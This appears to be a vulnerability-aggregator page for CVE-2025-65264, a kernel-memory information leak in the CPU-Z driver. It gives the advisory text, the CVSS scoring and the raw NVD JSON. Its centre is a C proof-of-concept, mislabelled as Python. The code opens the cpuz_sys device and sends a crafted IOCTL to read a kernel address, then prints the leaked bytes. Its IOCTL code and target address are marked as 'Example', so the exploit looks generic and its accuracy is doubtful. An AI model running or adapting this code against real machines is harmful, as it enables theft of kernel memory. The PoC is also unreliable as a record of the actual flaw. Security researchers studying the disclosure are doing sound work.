CVE-2025-65264

Description

The kernel driver of CPUID CPU-Z v2.17 and earlier does not validate user-supplied values passed via its IOCTL interface, allowing an attacker to access sensitive information via a crafted request.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:cpuid:cpu-z:*:*:*:*:*:windows:*:* - VULNERABLE

CPUID CPU-Z <= v2.17

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <windows.h>
#include <stdio.h>
#include <winioctl.h>

#define DEVICE_NAME "\\\\\\\\.\\\\cpuz_sys"
#define IOCTL_READ_MEMORY 0x9C402404  // Example IOCTL code

typedef struct {
    PVOID TargetAddress;
    PVOID OutputBuffer;
    ULONG Size;
} MEMORY_READ_REQUEST;

int main() {
    HANDLE hDevice;
    DWORD bytesReturned = 0;
    MEMORY_READ_REQUEST request;
    unsigned char output[256] = {0};
    
    // Open device handle
    hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
                          FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
                          OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to open device. Error: %d\n", GetLastError());
        return 1;
    }
    
    printf("[+] Device handle opened successfully\n");
    
    // Prepare malicious request - target kernel address for sensitive data
    request.TargetAddress = (PVOID)0xFFFFF78000000000;  // Example: System kernel address
    request.OutputBuffer = output;
    request.Size = sizeof(output);
    
    // Send crafted IOCTL request without proper validation
    BOOL result = DeviceIoControl(hDevice, IOCTL_READ_MEMORY, &request,
                                   sizeof(request), output, sizeof(output),
                                   &bytesReturned, NULL);
    
    if (result) {
        printf("[+] Memory read successful. Bytes returned: %lu\n", bytesReturned);
        printf("[+] Leaked data:\n");
        for (DWORD i = 0; i < bytesReturned && i < 64; i++) {
            printf("%02X ", output[i]);
            if ((i + 1) % 16 == 0) printf("\n");
        }
    } else {
        printf("[-] IOCTL request failed. Error: %d\n", GetLastError());
    }
    
    CloseHandle(hDevice);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-65264
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-65264
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-65264/
[4] VulDB https://vuldb.com/cve/CVE-2025-65264
[5] https://github.com/cwjchoi01/CVE-2025-65264
[6] https://www.cpuid.com/softwares/cpu-z.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-65264", "sourceIdentifier": "[email protected]", "published": "2026-01-27T17:16:09.493", "lastModified": "2026-02-06T19:58:31.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The kernel driver of CPUID CPU-Z v2.17 and earlier does not validate user-supplied values passed via its IOCTL interface, allowing an attacker to access sensitive information via a crafted request."}, {"lang": "es", "value": "El controlador del kernel de CPUID CPU-Z v2.17 y versiones anteriores no valida los valores proporcionados por el usuario pasados a través de su interfaz IOCTL, permitiendo a un atacante acceder a información sensible mediante una solicitud manipulada."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cpuid:cpu-z:*:*:*:*:*:windows:*:*", "versionEndIncluding": "2.17", "matchCriteriaId": "C47D2C7A-7622-483F-984D-A69AB8FB4D7F"}]}]}], "references": [{"url": "https://github.com/cwjchoi01/CVE-2025-65264", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.cpuid.com/softwares/cpu-z.html", "source": "[email protected]", "tags": ["Product"]}]}}